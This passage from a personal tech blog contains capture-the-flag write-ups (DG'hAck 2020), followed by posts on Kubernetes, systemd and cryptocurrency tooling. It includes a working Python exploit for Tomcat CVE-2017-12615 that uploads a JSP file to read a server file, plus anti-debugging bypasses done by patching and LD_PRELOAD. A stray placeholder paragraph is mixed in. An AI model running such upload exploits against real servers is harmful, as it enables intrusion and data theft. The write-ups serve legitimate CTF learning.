Aug 27 14:32:04 backpack hostapd: wlan0: STA 02:6c:0d:3b:04:17 RADIUS: starting accounting session 1884F975E5BEC4AD
Aug 27 14:32:04 backpack hostapd: wlan0: STA 02:6c:0d:3b:04:17 WPA: pairwise key handshake completed (RSN)

On start, the system will launch the hostapd daemon, to create an AP. Let’s take a look at its configuration:

# cat etc/hostapd/hostapd.conf 
country_code=FR
interface=wlan0
ssid=BackpackNet
hw_mode=g
channel=11
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=BackpackBackdoorNet
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

And we got our flag: BackpackBackdoorNet.

Walter’s blog Link to heading

This new website is different from first websites. Searching for hidden page will render a 404 page, and we will get the server’s version: Apache Tomcat/9.0.0.M1. A quick CVE search will bring up to attention the CVE-2017-12615 which allow uploading .jsp files. Let’s give it a try:

#!/usr/bin/env python

import requests

url = 'http://waltersblog3.chall.malicecyber.com/aaaa.jsp'

content = """<%@ page import="java.io.*"%>
<%
FileInputStream in;
byte[] data = new byte[1024];

try {
  BufferedReader br = new BufferedReader(new FileReader("/flag.txt"));
  String st;

  while ((st = br.readLine()) != null) {
    out.println(st);
  }

} catch (IOException e){
  out.println("unable to open file");
}

%>"""

req = requests.put(url + '/', data=content)
print(req.status_code)

req = requests.get(url)
print(req.text)

This will … output the flag: flag{i4lW4y5UpD4T3Y0urt0mC@}.

Involucrypt 1 Link to heading

For the last easy challenge, we’re facing some cryptography. We have 2 files: A python script used to encrypt, and an encrypted file. The encrypted file is just 370 bytes.

By reading the python script, we quickly find that it is encrypting 150 bytes blocks using a single char of the key for each block.

... snip ...

BLOCK = 150

... snip ...


def keystream(seeds, length, base=None):
    key = base if base else []
    for seed in seeds:
        random = mersenne_rng(seed)

        for _ in range(BLOCK):
            if len(key) == length:
                break
            key.append(random.get_rand_int(0, 255))
            random.shuffle(key)
        if len(key) == length:
            break
    return key

Based on this only observation, we can quickly conclude that the encryption key is only 3 letters… and it will take a few seconds with pypy to bruteforce it. Password is ane, and the flag:

$ cat involucrypt1 | pypy crypt.py ane
The flag is: TheKeyIsTooDamnWeak!

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor
incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure
dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.

What did I learn ? Link to heading

That Tomcat vulnerability was fun! I loved the realism of the challenges. I’ll be honest: That was my first XSS ever as well.

DG'hAck 2020: The 'dharma.exe' challenge

pm@mkz.me (Patrick MARIE) — Sat, 28 Nov 2020 23:03:43 +0100

Introduction Link to heading

dharma is a binary. It is required to reverse it, to understand it & retrieve the flag from it. No information is given outside the binary itself:

$ sha256sum dharma
99eebee06f1145bbc16e94afdf523c95035a1ca979a75f48d9d3f19a5cac1645  dharma

Walkthrough Link to heading

Launching it doesn’t really help:

$ ./dharma 
Password: 
blah
Nope, try again...

No need to say the binary implements some anti-debugging techniques:

$ gdb ./dharma 
... snap ...
Thread 2 "dharma" received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0x7ffff7d97700 (LWP 1308614)]
0x0000555555555894 in ?? ()
(gdb) bt
#0  0x0000555555555894 in ?? ()
#1  0x00007ffff7f6e432 in start_thread () from /lib64/libpthread.so.0
#2  0x00007ffff7e9c913 in clone () from /lib64/libc.so.6

The most common breakpoint trap is the int3/0xCC opcode trick. With objdump(1), it is quite easy to locate it. We’ll replace it with a NOP:

$ objdump -d dharma|grep -1 int3
    188f:       48 89 7d f8             mov    %rdi,-0x8(%rbp)
    1893:       cc                      int3   
    1894:       bf e8 03 00 00          mov    $0x3e8,%edi

$ cp dharma dharma.bak; printf '\x90' | dd of=dharma bs=1 seek=$((0x1893)) conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 3.0021e-05 s, 33.3 kB/s

$ xxd dharma|grep 00001890
00001890: 897d f890 bfe8 0300 00e8 72fa ffff ebf3  .}........r.....

Next issue: Running the new binary will trigger another problem. The binary now receives signal SIG32, Real-time event 32:

(gdb) r
[New Thread 0x7ffff7d97700 (LWP 1310410)]
[New Thread 0x7ffff7596700 (LWP 1310411)]
Password: 

Thread 2 "dharma" received signal SIG32, Real-time event 32.
[Switching to Thread 0x7ffff7d97700 (LWP 1310410)]
0x00007ffff7e63801 in clock_nanosleep@GLIBC_2.2.5 () from /lib64/libc.so.6
(gdb) bt
#0  0x00007ffff7e63801 in clock_nanosleep@GLIBC_2.2.5 () from /lib64/libc.so.6
#1  0x00007ffff7e69157 in nanosleep () from /lib64/libc.so.6
#2  0x00007ffff7e94869 in usleep () from /lib64/libc.so.6
#3  0x000055555555589e in ?? ()
#4  0x00007ffff7f6e432 in start_thread () from /lib64/libpthread.so.0
#5  0x00007ffff7e9c913 in clone () from /lib64/libc.so.6
(gdb) info threads
  Id   Target Id                                    Frame 
  1    Thread 0x7ffff7d98740 (LWP 1310409) "dharma" 0x00007ffff7e8d4cc in read () from /lib64/libc.so.6
* 2    Thread 0x7ffff7d97700 (LWP 1310410) "dharma" 0x00007ffff7e63801 in clock_nanosleep@GLIBC_2.2.5 () from /lib64/libc.so.6

Okay, that’s it. Checking with radare2:

            ; DATA XREF from main @ 0x18ad
            0x00001883      f30f1efa       endbr64
            0x00001887      55             push rbp
            0x00001888      4889e5         mov rbp, rsp
            0x0000188b      4883ec10       sub rsp, 0x10
            0x0000188f      48897df8       mov qword [rbp - 8], rdi
            ; CODE XREF from rip @ +0x29
        ┌─> 0x00001893      cc             int3
        ╎   0x00001894      bfe8030000     mov edi, 0x3e8
        ╎   0x00001899      e872faffff     call sym.imp.usleep         ; int usleep(int s)
        └─< 0x0000189e      ebf3           jmp 0x1893
            ; DATA XREF from entry0 @ 0x1341
┌ 86: int main (int argc, char **argv, char **envp);
│           0x000018a0      f30f1efa       endbr64
│           0x000018a4      55             push rbp
│           0x000018a5      4889e5         mov rbp, rsp
│           0x000018a8      b900000000     mov ecx, 0
│           0x000018ad      488d15cfffff.  lea rdx, [0x00001883]
│           0x000018b4      be00000000     mov esi, 0
│           0x000018b9      488d3db86900.  lea rdi, [0x00008278]
│           0x000018c0      e8ebf8ffff     call sym.imp.pthread_create

Okay, in fact, the function called by pthread_create is basically useless. Let’s just kill it. To do this, I could edit the binary again, but for some reason, I used an old shared library trick to overwrite pthread_create & pthread_cancel functions.

#include <pthread.h>
#include <signal.h>
#define __USE_GNU
#include <dlfcn.h>
#include <stdio.h>

int pthread_create(pthread_t *thread, const pthread_attr_t *attr,
                   void *(*start_routine) (void *), void *arg)
{
    printf("pthread_create: %p %p %p %p\n", thread, attr, start_routine, arg);
    return 0;
}

int pthread_cancel(pthread_t thread)
{
    return 0;
}

Build & use with:

$ gcc -shared -o fuck.so fuck.c -fPIC
$ export LD_PRELOAD=$(pwd)/fuck.so

Then, I got curious. What’s happening when calling strace(1) ?

... snip ...
memfd_create("2O3naSbh", MFD_CLOEXEC)   = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \22\0\0\0\0\0\0"..., 16936) = 16936
... snip ...
openat(AT_FDCWD, "/proc/1314097/fd/3", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \22\0\0\0\0\0\0"..., 832) = 832
fstat(4, {st_mode=S_IFREG|0777, st_size=16936, ...}) = 0
mmap(NULL, 16544, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7f1b4803a000
mmap(0x7f1b4803b000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1000) = 0x7f1b4803b000
mmap(0x7f1b4803c000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x2000) = 0x7f1b4803c000
mmap(0x7f1b4803d000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x2000) = 0x7f1b4803d000
close(4)                                = 0
mprotect(0x7f1b4803d000, 4096, PROT_READ) = 0
close(3)                                = 0
write(1, "pthread_create: 0x561c5e63d278 ("..., 58pthread_create: 0x561c5e63d278 (nil) 0x7f1b4803bd64 (nil)
) = 58
write(1, "Password: \n", 11Password: 
)            = 11
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0

It is even better with ltrace(1):

$ ltrace ./dharma
pthread_create(0x55f1b1ac6278, 0, 0x55f1b1abf883, 0pthread_create: 0x55f1b1ac6278 (nil) 0x55f1b1abf883 (nil)
)                                             = 0
signal(SIGTRAP, 0x55f1b1abf875)                                                                  = nil
memfd_create(0x55f1b1ac6250, 1, 0x7ffcd1f76bb0, 0)                                               = 3
strlen("2O3naSbh")                                                                               = 8
write(3, "\177ELF\002\001\001", 16936)                                                           = 16936
uname(0x7ffcd1f767a0)                                                                            = 0
strtok("5.9.9-100.fc32.x86_64", ".")                                                             = "5"
atoi(0x7ffcd1f76822, 2, 2, 1)                                                                    = 5
atoi(0x7ffcd1f76822, 5, 0, 0x7ffcd1f76823)                                                       = 5
getpid()                                                                                         = 1314298
snprintf("/proc/1314298/fd/3", 1024, "/proc/%d/fd/%d", 1314298, 3)                               = 18
dlopen("/proc/1314298/fd/3", 1)                                                                  = 0x55f1b295a700
close(3)                                                                                         = 0
dlsym(0x55f1b295a700, "init")                                                                    = 0x7f5af81a5c80
dlsym(0x55f1b295a700, "_libc_start_main")                                                        = 0x7f5af81a5d64
pthread_cancel(0, 1, 1, 0)                                                                       = 0
pthread_create(0x55f1b1ac6278, 0, 0x7f5af81a5d64, 0pthread_create: 0x55f1b1ac6278 (nil) 0x7f5af81a5d64 (nil)
)                                             = 0
Password:

The binary will create a new binary with memfd_create, and load it with dlopen! I didn’t even know this function at the time. Well, let’s “overwrite” it to use open instead in fuck.c:

int memfd_create(const char *name, unsigned int flags)
{
    return open("/tmp/blah", flags | O_CREAT, 0755);
}

This will allow to dump this new binary of 16936 bytes, in /tmp/blah. A quick look with radare2 didn’t help much, so this time I used ghidra:

  undefined8 in_RSI;
  long in_FS_OFFSET;
  ulong local_20;
  int *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = (int *)(*(code *)ctx)(ctx,in_RSI,ctx);
  puts("Password: ");
  __isoc99_scanf(&DAT_00102105,&local_20);
  if (((long)((long)(int)(uint)in_RSI * (local_20 ^ (uint)in_RSI & 0x42)) / (long)local_18[1] ==
       (long)*local_18) && ((local_20 & 0xffff) == 0xfb4c)) {
    printf("Yes !\nHere is your flag: ");
    print_flag(local_20);
  }
  else {
    puts("Nope, try again...");
  }

We’re near it. Unfortunately, breaking this code won’t help you getting the flag, as it will be computed with the given input. The only way is to get the expected value. We only need to find out the local_18 & in_RSI values, as local_20 is the input (which must be an integer), and make sure it matches the condition. Let’s use gdb & find out the values. ghidra already told us where those values were in memory, so it will be mostly easy:

(gdb) set env LD_PRELOAD=/home/mycroft/dev/dghack/dharma/fuck.so
(gdb) b init
Function "init" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
.. snip ...
0x00007ffff7fbfc80 in init () from /proc/1316873/fd/3
(gdb) disas
Dump of assembler code for function init:
=> 0x00007ffff7fbfc80 <+0>:     endbr64
   0x00007ffff7fbfc84 <+4>:     push   rbp
   0x00007ffff7fbfc85 <+5>:     mov    rbp,rsp
   0x00007ffff7fbfc88 <+8>:     sub    rsp,0x30
   0x00007ffff7fbfc8c <+12>:    mov    QWORD PTR [rbp-0x28],rdi
   0x00007ffff7fbfc90 <+16>:    mov    DWORD PTR [rbp-0x2c],esi
   0x00007ffff7fbfc93 <+19>:    mov    rax,QWORD PTR fs:0x28
   0x00007ffff7fbfc9c <+28>:    mov    QWORD PTR [rbp-0x8],rax
   0x00007ffff7fbfca0 <+32>:    xor    eax,eax
   0x00007ffff7fbfca2 <+34>:    mov    rdx,QWORD PTR [rbp-0x28]
   0x00007ffff7fbfca6 <+38>:    mov    eax,0x0
   0x00007ffff7fbfcab <+43>:    call   rdx
   0x00007ffff7fbfcad <+45>:    mov    QWORD PTR [rbp-0x10],rax
   0x00007ffff7fbfcb1 <+49>:    lea    rdi,[rip+0x451]        # 0x7ffff7fc0109
   0x00007ffff7fbfcb8 <+56>:    call   0x7ffff7fbf140 <puts@plt>
(gdb) b puts
Breakpoint 2 at 0x7ffff7e0e4d0
(gdb) c
Continuing.

Breakpoint 2, 0x00007ffff7e0e4d0 in puts () from /lib64/libc.so.6

(gdb) x/2wx *(long *)($rbp-0x10)
0x55555555c270: 0x6e334f32      0x68625361

(gdb) x/wx $rbp-0x2c
0x7fffffffcd24: 0x00000c80

We have the values. Still need to find the local_20 value. It is just a simple equation: local_18[0] * local_18[1] / in_RS1 = local_20 ^ (uint)in_RSI & 0x42, and local_20 must finished by 0xfb4c:

>>> l = int((0x68625361 * 0x6e334f32) / 0x0c80)
>>> l + (0xfb4c - l & 0xffff)
1011829597993804

and, finally, in the shell:

$ ./dharma
Password: 
1011829597993804
Yes !
Here is your flag: b2d4837830f4853656e993e4561670d0e461471acbb0e2f7183b514b04440d69

What did I learn? Link to heading

I already knew the 0xCC & the binary encryption technics. I didn’t know about ghidra or radare2 tools. Very impressive what you can do with those today.

Kubernetes: Launching & accessing running applications inside the cluster

pm@mkz.me (Patrick MARIE) — Wed, 22 May 2019 14:24:52 +0200

There are multiple ways to start an application inside a kubernetes cluster, and I’ll describe on this page how to run a simple one and the multiple ways to access it for debugging reasons. Please note that I will stay inside the cluster perimeter, and will not write about ClusterIP, LoadBalancer etc. in this one.

Starting a pod without a deployment Link to heading

The simple way to run an app - a pod - in to use kubectl run:

$ kubectl get pods
No resources found.

$ kubectl run --generator=run-pod/v1 --image=pmarie/httpd-sample:v2 httpd-sample
pod/httpd-sample created

$ kubectl get pods
NAME           READY   STATUS    RESTARTS   AGE
httpd-sample   1/1     Running   0          3s

The application I’m using, httpd-sample is a small golang debug httpd.

My pod is called httpd-sample and you can get its own description using the describe command:

$ kubectl describe pod httpd-sample
Name:               httpd-sample
Namespace:          default
Priority:           0
PriorityClassName:  <none>
Node:               kub5/10.0.2.32
Start Time:         Thu, 16 May 2019 14:30:46 +0200
Labels:             run=httpd-sample
Annotations:        <none>
Status:             Running
IP:                 10.244.2.8
[...]
Events:
  Type    Reason     Age    From               Message
  ----    ------     ----   ----               -------
  Normal  Scheduled  3m57s  default-scheduler  Successfully assigned default/httpd-sample to kub5
  Normal  Pulled     3m56s  kubelet, kub5      Container image "pmarie/httpd-sample:v2" already present on machine
  Normal  Created    3m56s  kubelet, kub5      Created container httpd-sample
  Normal  Started    3m56s  kubelet, kub5      Started container httpd-sample

You can also get its logs (ie: its output) using logs:

$ kubectl logs httpd-sample
2019/05/16 12:30:46 --- Starting up on 8080

Accessing the app Link to heading

When an app is running, there are multiple ways to access it: through a proxy using the kubernetes API, using a port-forward or a service…

Running the Kubernetes kubectl proxy Link to heading

The kubectl proxy allows to access applications through a REST API:

$ kubectl proxy
Starting to serve on 127.0.0.1:8001
[...]

On another terminal:

$ curl http://127.0.0.1:8001/version
{
  "major": "1",
  "minor": "14",
  "gitVersion": "v1.14.1",
  "gitCommit": "b7394102d6ef778017f2ca4046abbaa23b88c290",
  "gitTreeState": "clean",
  "buildDate": "2019-04-08T17:02:58Z",
  "goVersion": "go1.12.1",
  "compiler": "gc",
  "platform": "linux/amd64"
}

Note that you can query all kubernetes’ API endpoints this way. Feel free to query http://127.0.0.1:8001 directly. Once reachable, you will be able to query any http port of your pods using the pod name and its port number:

$ export POD_NAME=httpd-sample
$ curl http://127.0.0.1:8001/api/v1/namespaces/default/pods/${POD_NAME}:8080/proxy/
Date: Thu May 16 09:19:23
RemoteAddr: 10.244.0.0:43356
Host: 127.0.0.1:8001
RequestURI: /
User-agent: curl/7.29.0
Random-Number: 8674665223082153551

Accessing the app through port-forward Link to heading

It is possible to forward any port using kubectl port-forward:

$ kubectl port-forward httpd-sample 60123:8080
Forwarding from 127.0.0.1:60123 -> 8080
Forwarding from [::1]:60123 -> 8080
[...]

Your app will be reachable using the newly opened port:

$ curl http://localhost:60123
Date: Thu May 16 09:22:04
RemoteAddr: 127.0.0.1:55342
Host: localhost:60123
RequestURI: /
User-agent: curl/7.29.0
Random-Number: 4037200794235010051

Running a shell inside the app’s container Link to heading

As any docker container, you’ll be able ot run processes within it or even run a shell:

$ kubectl exec httpd-sample -ti /bin/sh
/app # ls
httpd-sample

Setup & running kubernetes

pm@mkz.me (Patrick MARIE) — Wed, 15 May 2019 11:25:35 +0200

In this series of small articles, I’ll install & configure a Kubernetes cluster with a master and a few nodes, and set up a few applications experiments.

I’ll only work with Centos 7 systems.

Installing Kubernetes Link to heading

The kubernetes installation is mostly similar for both master & workers nodes, with some light differences at the end of the process.

On both Master & Worker nodes Link to heading

The following tasks must be made on all nodes:

Upgrade all system packages;
Disable swap;
Enable bridge firewall rules;
Install docker-ce and its requirements;
Install kubernetes’ repository & kubernetes.

Upgrade all system packages Link to heading

As usual, prior to any new installation, make sure your system is updated.

$ yum clean all && yum upgrade -y

Disable selinux & swap Link to heading

Swap & selinux must be disabled prior installing kubernetes

$ setenforce 0
$ sed -i 's/^SELINUX=.*/SELINUX=disabled/' /tmp/config

A reboot is likely required to take changes in effect permanently.

$ sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab 
$ swapoff -a

Enable bridge firewall rules Link to heading

$ modprobe br_netfilter
$ echo '1' > /proc/sys/net/bridge/bridge-nf-call-iptables

Install docker-ce & its requirements Link to heading

It is strongly recommended to not use the docker from the Centos repository as it can be quite old & doesn’t handle the required features for the kubernetes. Add its official repository & install it:

$ yum install -y yum-utils device-mapper-persistent-data lvm2
$ yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
$ yum install -y docker-ce
$ systemctl enable docker-ce
$ systemctl start docker-ce

Install kubernetes’ repository & kubernetes Link to heading

Prepare a repo file for Kubernetes repository & install kubernetes to complete kubernetes installation. There is no need to start it, just enable it in systemd for now.

$ cat > /etc/yum.repo.d/kubernetes.repo << EOF
[kubernetes]
name=Kubernetes
baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg
           https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg
EOF

$ yum install -y kubelet kubeadm kubectl
$ systemctl enable kubelet

Once you’ve installed kubernetes, you’re mostly good to go. You now need to do only master-only initialization & slave-only join commands.

On Master nodes only Link to heading

On master nodes, you need to initialize the kubernetes cluster & install the network layer

$ kubeadm init --pod-network-cidr=10.244.0.0/16

Note that the –pod-network-cidr argument is required because the network’ stack we will use, flannel, requires it.

Write down the join command, or store the join token. The given token has a 24h TTL, but you are still able to generate new ones using kubeadm token commands:

$ kubeadm token create
e7wy7h.62br9mqdsztr0t1g
$ kubeadm token list
TOKEN                     TTL       EXPIRES                     USAGES                   DESCRIPTION   EXTRA GROUPS
e7wy7h.62br9mqdsztr0t1g   23h       2019-05-16T14:06:24+02:00   authentication,signing   <none>        system:bootstrappers:kubeadm:default-node-token

Once initialized, you must prepare your user to be able to connect the cluster

$ mkdir -p $HOME/.kube
$ sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
$ sudo chown $(id -u):$(id -g) $HOME/.kube/config

And finally, install the network layer as kubernetes does not have one by default. I’ll use coreos’s flannel for now:

$ kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

On Worker nodes only Link to heading

To join the cluster, reuse the given token on each nodes:

$ kubectl join --token=<given token> --discovery-token-unsafe-skip-ca-verification --master-ip=<master ip>

If joining the cluster is successfull, you’ll be able to see its status using the kubectl get nodes command on the master:

$ kubectl get nodes
NAME   STATUS   ROLES    AGE   VERSION
kub0   Ready    master   29d   v1.14.1
kub1   Ready    <none>   29d   v1.14.1
kub2   Ready    <none>   29d   v1.14.1
kub3   Ready    <none>   29d   v1.14.1
kub4   Ready    <none>   29d   v1.14.1
kub5   Ready    <none>   29d   v1.14.1

You are able to check too if all system pods are up & running:

$ kubectl get -A pods
NAMESPACE     NAME                           READY   STATUS    RESTARTS   AGE
kube-system   coredns-fb8b8dccf-ck9vb        1/1     Running   9          30d
kube-system   coredns-fb8b8dccf-wf6vn        1/1     Running   10         30d
kube-system   etcd-kub0                      1/1     Running   3          30d
kube-system   kube-apiserver-kub0            1/1     Running   8          30d
kube-system   kube-controller-manager-kub0   1/1     Running   11         30d
kube-system   kube-flannel-ds-amd64-58bzx    1/1     Running   3          30d
kube-system   kube-flannel-ds-amd64-6js9j    1/1     Running   4          30d
kube-system   kube-flannel-ds-amd64-7c2rv    1/1     Running   3          30d
kube-system   kube-flannel-ds-amd64-qgjtn    1/1     Running   3          30d
kube-system   kube-flannel-ds-amd64-wckr2    1/1     Running   4          30d
kube-system   kube-flannel-ds-amd64-z2vc4    1/1     Running   6          30d
kube-system   kube-proxy-7ssr5               1/1     Running   4          30d
kube-system   kube-proxy-8fc2c               1/1     Running   3          30d
kube-system   kube-proxy-9lvvb               1/1     Running   3          30d
kube-system   kube-proxy-cfw7m               1/1     Running   4          30d
kube-system   kube-proxy-jvtrr               1/1     Running   3          30d
kube-system   kube-proxy-pdm6h               1/1     Running   4          30d
kube-system   kube-scheduler-kub0            1/1     Running   12         30d

You’ll be done if all nodes are in the Ready state.

Setup & running systemd user services

pm@mkz.me (Patrick MARIE) — Sat, 12 May 2018 11:26:20 +0200

Something we want when it comes to run bitcoin’s, litecoin’s, ethereum’s daemons, is to make sure they are always up & running, even after a reboot, and somewhat securely. To achieve this, I opted for a systemd user service.

Let’s setup this for bitcoin together!

Firstly, I created a user coins just for this use:

$ adduser -d /home/coins -s /bin/bash -u coins -g coins coins
$ id coins
uid=1001(coins) gid=1002(coins) groups=1002(coins)

Then, prepared the user service. On my system, I have all my daemons binary in /opt, so don’t be surprised by bitcoin’s daemon is located at /opt/bitcoin/bin/bitcoind. The user service file will be better located in the $HOME/.config/systemd/user directory.

$ su - coins
$ mkdir -p .config/systemd/user
$ cat .config/systemd/user/bitcoin.service
[Unit]
Description=Bitcoin daemon
After=network.target

[Service]
ExecStart=/opt/bitcoin/bin/bitcoind -daemon -conf=%h/.bitcoin/bitcoin.conf -pid=/run/user/%U/bitcoind.pid
RuntimeDirectory=bitcoind
Type=forking
PIDFile=/run/user/%U/bitcoind.pid
Restart=on-failure

# Provide a private /tmp and /var/tmp.
PrivateTmp=true

# Mount /usr, /boot/ and /etc read-only for the process.
ProtectSystem=full

# Disallow the process and all of its children to gain
# new privileges through execve().
NoNewPrivileges=true

# Deny the creation of writable and executable memory mappings.
MemoryDenyWriteExecute=true

[Install]
WantedBy=default.target

Once done, we have to register our daemon within systemd. But before that, as the coins user will be accessed using su - (and everybody knows that su - doesn’t open a session, right?), we have to tweak the system a little: We need to make sure the system believes the user is always logged on (using the login)…

$ sudo loginctl enable-linger coins
$ ls -ltrad /run/user/$(id -u coins)
drwx------. 3 coins coins 80 May 12 12:02 /run/user/1001

… and add the two following variables inside .bashrc:

# User specific aliases and functions
export XDG_RUNTIME_DIR="/run/user/$UID"
export DBUS_SESSION_BUS_ADDRESS="unix:path=${XDG_RUNTIME_DIR}/bus"

As we are not creating a complete session (we should use machinectl login for this, but our user doesn’t have a password), we need the environment to be aware of the dbus socket path. This is done using both XDG_RUNTIME_DIR & DBUS_SESSION_BUS_ADDRESS variables.

The result will be that the coins is able to run systemctl –user using su -:

$ id
uid=1001(coins) gid=1002(coins) groups=1002(coins) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ systemctl --user status
● shuttle.mkz.me
    State: running
     Jobs: 0 queued
   Failed: 0 units
    Since: Sat 2018-05-12 12:02:45 CEST; 2min 2s ago
   CGroup: /user.slice/user-1001.slice/user@1001.service
           └─init.scope
             ├─9557 /usr/lib/systemd/systemd --user
             └─9559 (sd-pam)

Registering our bitcoin.service and starting it:

$ systemctl --user enable bitcoin-testnet
Created symlink /home/coins/.config/systemd/user/default.target.wants/bitcoin-testnet.service → /home/coins/.config/systemd/user/bitcoin-testnet.service.
$ systemctl --user start bitcoin
$ systemctl --user status bitcoin
● bitcoin.service - Bitcoin daemon
   Loaded: loaded (/home/coins/.config/systemd/user/bitcoin.service; enabled; vendor preset: enabled)
   Active: active (running) since Sat 2018-05-12 12:06:28 CEST; 3s ago
  Process: 9769 ExecStart=/opt/bitcoin/bin/bitcoind -daemon -conf=/home/coins/.bitcoin/bitcoin.conf -pid=/run/user/1001/bitcoind.pid (code=exited
 Main PID: 9770 (bitcoind)
   CGroup: /user.slice/user-1001.slice/user@1001.service/bitcoin.service
           └─9770 /opt/bitcoin/bin/bitcoind -daemon -conf=/home/coins/.bitcoin/bitcoin.conf -pid=/run/user/1001/bitcoind.pid

May 12 12:06:28 shuttle.mkz.me systemd[9557]: Starting Bitcoin daemon...
May 12 12:06:28 shuttle.mkz.me systemd[9557]: Started Bitcoin daemon.
$ journalctl -q --user-unit bitcoin
May 12 12:06:28 shuttle.mkz.me systemd[9557]: Starting Bitcoin daemon...
May 12 12:06:28 shuttle.mkz.me systemd[9557]: Started Bitcoin daemon.

And this is it!

Bitcoin: Parsing the chainstate

pm@mkz.me (Patrick MARIE) — Fri, 27 Apr 2018 15:11:55 +0200

If you get a look at the files stored by the Bitcoin Core client, you’ll see the big blocks directory, but another one caught my attention recently: The chainstate directory.

$ du -sh .bitcoin/*
[...]
4.0K    .bitcoin/bitcoin.conf
176G    .bitcoin/blocks
2.8G    .bitcoin/chainstate
[...]
$

In this directory, there is a leveldb database with a all currently unspent transactions outputs. In Bitcoin, the unspent transactions outputs (also called UTXOs) are one of the most important things in the protocol, as they are the only coins that can be spent. And this database is really smaller that the blockchain itself.

I’ve recently developed a tool that opens this database, and will parse all records to compute all balances for all addresses. This tool, that I called chainstate, will in less than a few minutes take each records one by one, unobfuscate it (The chainstate database is obfuscated - simply by a xor, with a key which is inside the directory too), parse and understand the transaction format (p2pkh, p2sh, p2wpkh, p2wsh) to know what type of address we are dealing with, and output it.

The decoding is possible by reusing the bitcoin’s DecompressScript function:

        switch(script_type) {
            case 0x00: // P2PKH
                addr = get_addr(current_prefix.pubkey_prefix, value);
                cout << "DUP HASH160 " << value.size() << " " << addr << " EQUALVERIFY CHECKSIG" << endl; 
                break;

            case 0x01: // P2SH
                addr = get_addr(current_prefix.script_prefix, value);
                cout << "HASH160 " << value.size() << " " << addr << " EQUAL" << endl;
                break;

            case 0x02: // P2PK
            case 0x03:
                addr = get_addr(current_prefix.pubkey_prefix, str_to_ripesha(old_value));
                cout << "PUSHDATA(33) " << addr << " CHECKSIG" << endl;
                break;

            case 0x04: // P2PK
            case 0x05:
                memset(pub, 0, PUBLIC_KEY_SIZE);
                pubkey_decompress(script_type, value.c_str(), (unsigned char*) &pub, &publen);
                addr = get_addr(current_prefix.pubkey_prefix, str_to_ripesha(string((const char*)pub, PUBLIC_KEY_SIZE)));
                cout << "PUSHDATA(65) " << addr << " CHECKSIG" << endl;
                break;

            case 0x1c: // P2WPKH / P2WSH
            case 0x28:
                addr = rebuild_bech32(value);
                cout << "P2WSH "<< addr << endl;
                break;
        }

As the same code is used by the Litecoin and the dashcore clients, the same software is also supporting them too!

To use, we need to copy the chainstate binary (mandatory as it will overwrite some pointers in it, and Bitcoin Core would have to reindex its stuff, which is really slow) and well, wait:

$ cp -Rp ~/.bitcoin/chainstate state
$ ./chainstate >/tmp/cs.output 2>/tmp/cs.errors

$ head /tmp/cs.output
last block: 0000000000000000004e0f5635ad8b2e58ebd0a4f02c68c604d1b5697425ce72
eacfdcd42b27112ab6c8b435abec20181d05b0ba5d4f1829c002cc3ef0000000;1NwjXC31Enh5aqGHQbCtev9B7Rhk4knuEJ;1838
0118dd986e59473732239d39cb3b8890bf32677719dd8933b05f6614f4020000;32i3fvUTZkq2zeHBuosYDkiSCyMDhP62eo;132000
033e83e3204b0cc28724e147f6fd140529b2537249f9c61c9de9972750030000;1KaPHfvVWNZADup3Yc26SfVdkTDvvHySVX;65279
a53421b937be7bfe89ef6cc3f4124706b560af393b527e3e3d9d0c285b050000;1Lcd4mL7Zt53QTyR4wFJSksuyxCtfpTtws;2789

$ wc -l /tmp/cs.output /tmp/cs.errors
  59516004 /tmp/cs.output
    409643 /tmp/cs.errors
  59925647 total

$

Ethereum: Up & Running

pm@mkz.me (Patrick MARIE) — Sun, 01 Apr 2018 08:48:14 +0200

One of my recent jobs was to build a simple payment processor for Ethereum. The task was way simpler I thought it would be, but starting to work with Ethereum can be a little confusing. Unlike Bitcoin, there is not only one single monolithic component like Bitcoin Core to work with, but a few, like geth - the CLI for running a full Ethereum node, or mist, the wallet/browser for dapps.

Installing geth Link to heading

geth is a golang app, and it is very simple to install:

$ cd /opt
$ git clone https://github.com/ethereum/go-ethereum.git
Cloning into 'go-ethereum'...
remote: Counting objects: 69307, done.
remote: Total 69307 (delta 0), reused 0 (delta 0), pack-reused 69307
Receiving objects: 100% (69307/69307), 95.20 MiB | 8.63 MiB/s, done.
Resolving deltas: 100% (46104/46104), done.
$ cd go-ethereum
$ make all
[...]
github.com/ethereum/go-ethereum/cmd/geth
github.com/ethereum/go-ethereum/cmd/swarm
github.com/ethereum/go-ethereum/cmd/wnode
$ ls -l build/bin/
total 270568
[...]
-rwxr-xr-x. 1 root root 37394152 Apr  1 09:09 geth
[...]
$

